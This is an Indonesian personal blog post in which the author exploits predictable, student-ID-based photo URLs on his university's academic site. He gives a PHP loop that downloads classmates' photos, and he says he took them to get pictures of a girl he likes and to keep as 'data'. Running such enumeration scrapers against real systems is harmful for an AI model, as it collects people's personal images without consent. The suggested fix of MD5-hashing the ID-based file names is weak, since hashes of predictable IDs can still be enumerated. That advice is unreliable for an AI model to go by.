Tebak Tebak Berhadiah

Assalamualaikum, selamat pagi kawan.. baru nulis lagi nih sekarang, karena baru ada waktu dan kesehatan yang sedang membaik.. Oh iya, ini soal tentang nyari doi poto-poto angkatan di website akademik di kampusku. Selagi server websitenya belum di tutup kembali, ane colong ambil foto doi yang saya cari sejak pertama ketemu di kampus xD. Mungkin ini sedikit saran atau bukan, saya tidak tahu. :D

Mungkin juga kasus seperti ini sudah pernah di bahas dan diketahui oleh kaka tingkat sebelum saya. Itung itung menambah postingan artikel ini saya repost kembali dan di hubungkan dengan implementasi nyolong gambar doi. Sudah lama saya pernah singgah dan membaca tentang Menggunakan UUID (Universally Unique Identifier) pada blog Laravel Indonesia yang di tulis oleh mas Yoga.

Nah apa hubungannya nyari foto sama UUID? UUID pada postingan nya mas yohang kan hanya untuk primary id? sedangkan yang saya bahas menggunakan nim. Eitss santai dulu, tapi disini saya menemukan problem yang hampir sama yaitu :

Problem : Tebak-Tebak Berhadiah

Dalam tebak tebak berhadiah ini, kita dapat menyusuri satu satu berdasarkan kode jurusan dan nomor absennya. Nah bagaimana caranya? kok bisa? tentu bisa!

Disini saya mendapat alamat URL foto saya dengan URL sebagai berikut :

http://akademik.****.ac.id/foto/1515240**.JPG

Nah kita bisa lihat, url dengan sehabis path foto itu adalah nim kita yang tidak di enkripsi.

Karena saya penasaran, dan mungkin pengen iseng liat foto foto doi eh maksudnya foto foto gak kobe nya temen. Saya nyoba melooping url tersebut dan membuat sebuah kode seperti ini :

<?php
for($i=1;$i<=$baris;$i++){
	$i = ($i<10)? "0".$i : $i; // kalo satu digit
	nyimpen(substr($ngambilNim,0,7).$i); // manggil fungsi nyimpen
}

// Anonymous function
function nyimpen($nim){
	/* Url dari server */
	$url = "http://akademik.****.ac.id/foto/".$nim.'.JPG';
	/* File baru di simpen ke lokal in */
	$ngaran = $nim.'.jpg';
	/* Nyalin file ti server liwat url ka lokal */
	$copy = copy($url, $ngaran);
	/* Status */
	if(!$copy ) {
		echo "Pirakuu! gagal \n";
	}else{
		echo "Mantap jiwaaa! $nim.jpg sukses disimpen kawan\n";
	}
}

Dengan script sederhana seperti di atas, Saya mendapatkan semua data-data foto temen hanya dalam waktu singkat saja.

Nah bagaimana dengan cara menanganinya dari orang-orang yang tidak bertanggung jawab?

Untuk solusinya ketika menyimpan gambar, kita harus mengenkripsi file nama yang akan di simpan pada database bisa dengan teknik encryption atau bisa juga dengan hashing. :D

Disini saya mengambil contoh dengan menggunakan md5 hash bawaan php. Jadi nanti URL yang setelah di hash menggunakan hash MD5 akan seperti ini contohnya :

http://akademik.****.ac.id/foto/3dab9fc93c5037141c4bf728e1e48169.JPG

Nah untuk lihat hasil yang saya dapat, saya dapet foto foto temen kelas, dan lumayan bisa di jadikan data nanti ketika butuh.

Screenshot Studio capture #50Terima kasih telah menyimak dan berkunjung ke catatan mini saya, jangan sungkan sungkan untuk kembali ya.. Arigatouuu ^_^